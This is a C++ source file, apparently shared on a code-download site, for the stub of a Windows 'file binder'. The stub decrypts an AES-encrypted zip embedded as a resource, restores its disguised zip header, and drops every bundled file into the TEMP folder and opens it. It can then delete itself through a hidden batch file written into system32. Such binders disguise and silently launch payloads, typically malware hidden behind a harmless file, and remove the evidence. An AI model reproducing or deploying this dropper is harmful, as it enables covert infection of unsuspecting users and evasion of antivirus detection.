www.gusucode.com > VC2003开发的文件捆绑机-源码程序 > VC2003开发的文件捆绑机-源码程序\code\VC6\Studio\Studio.cpp

    //Download by http://www.NewXing.com
// Studio.cpp : 定义应用程序的入口点。
//

#include "stdafx.h"
#include "Studio.h"
#include "zip/unzip.h"
#include "AESEncryption.h"

//获得到环境变量
void GetSystemPath(IN LPCWSTR Variable, OUT WCHAR* Path,IN DWORD nSize);
//自删除
void DeleteMe();

int APIENTRY _tWinMain(HINSTANCE hInstance,
					   HINSTANCE hPrevInstance,
					   LPTSTR    lpCmdLine,
					   int       nCmdShow)
{
	HRSRC hResInfo = FindResource(hInstance,MAKEINTRESOURCE(IDR_DATA_INS),A("AAAA"));
	if (hResInfo == NULL)
		return 0;

	HGLOBAL hRes = LoadResource(hInstance,hResInfo);
	if (hRes == NULL)
		return 0;

	//找到并锁定资源
	LPVOID Data = LockResource(hRes);
	//资源大小
	DWORD nSize = SizeofResource(hInstance,hResInfo);

	char* lpData = new char[nSize];
	CAESEncryption aes;
	if (false == aes.Decryption(Data, nSize, lpData))
		return false;

	//解锁资源
	UnlockResource(hRes);
	//释放资源
	FreeResource(hRes);

	char Info[4];	//这里获得头两个字节作为标志位
	char Orgi[4];
	memcpy(Info,lpData,4);
	Orgi[0] = 0x50;
	Orgi[1] = 0x4b;
	Orgi[2] = 0x03;
	Orgi[3] = 0x04;
	memcpy(lpData, Orgi,4);	//复原ZIP的文件头

	//获得环境变量TEMP的绝对路径
	WCHAR tempPath[MAX_PATH];
	memset(tempPath,0,MAX_PATH);
	GetSystemPath(A("TEMP"),tempPath,MAX_PATH);

	//以ZIP文件方式打开如果数据无效则返回空句柄
	HZIP hZip = OpenZip(lpData,nSize,NULL);
	//设置文件的当前目录为根目录
	SetUnzipBaseDir(hZip,_T("\\"));
	ZIPENTRY ze;
	//或得到全部的文件的数量
	GetZipItem(hZip,-1,&ze); 
	int numitems = ze.index;	//文件数量
	WCHAR name[1024] = {0};		//保存文件名
	for (int zi=0; zi<numitems; zi++)
	{ 

		//循环获得每一个文件的信息
		GetZipItem(hZip,zi,&ze);

		//组成 C:\WINDOWS\TEMP\文件名 的形式
		memset(name,0,1024);
		wsprintf(name,A("%s\\%s"),tempPath,ze.name);

		//解压缩
		UnzipItem(hZip,zi,name);

		//打开文件
		ShellExecute(NULL,A("open"),name,NULL,NULL,SW_SHOW);
	}

	//关闭句柄
	CloseZip(hZip);

	//如果标志位一为 0x01 则自删除
	if (Info[0] == 0x01)
		DeleteMe();

	return 0;
}

//获得环境变量
void GetSystemPath(IN LPCWSTR Variable, OUT WCHAR* Path,IN DWORD nSize)
{
	GetEnvironmentVariable(Variable,Path,nSize);
}

//自删除
void DeleteMe()
{
	char FilePath[MAX_PATH];
	char CmdLine[MAX_PATH + 1024];
	WCHAR SysPath[MAX_PATH];
	DWORD nByteWrite = 0;

	//获得当前文件路径
	memset(FilePath, 0, MAX_PATH);
	GetModuleFileNameA(0, FilePath, MAX_PATH);

	/*
	自删批处理
	@echo off
	:repeat
	del /f /q [文件名]
	if exist [文件名] goto repeat
	del /f /q [批处理]
	*/
	memset(CmdLine, 0, MAX_PATH + 1024);
	sprintf(CmdLine, "@echo off\r\n:repeat\r\ndel /f /q \"%s\"\r\nif exist \"%s\" goto repeat\r\ndel /f /q %%0", FilePath, FilePath);

	//获得环境变量 SYSTEMROOT ,XP 为 C:\WINDOWS, 2000/NT 为 C:\WINNT
	GetEnvironmentVariable(L"SYSTEMROOT", SysPath, MAX_PATH);
	//组成 %systemroot%\system32\hfblddel.bat 的形式
	wcscat(SysPath, L"\\system32\\hfblddel.bat");

	//写入批处理,这里虽然工程是 Unicode 编码的,但是这里要用 Ansi 编码,否则写入的文件无法执行。
	HANDLE hFile = CreateFile(SysPath, GENERIC_WRITE, 0 , NULL, CREATE_ALWAYS, 0, NULL);
	WriteFile(hFile, CmdLine, (DWORD)strlen(CmdLine), &nByteWrite, NULL);
	CloseHandle(hFile);

	//执行自删批处理
	ShellExecute(NULL,A("open"),SysPath,NULL,NULL,SW_HIDE);
}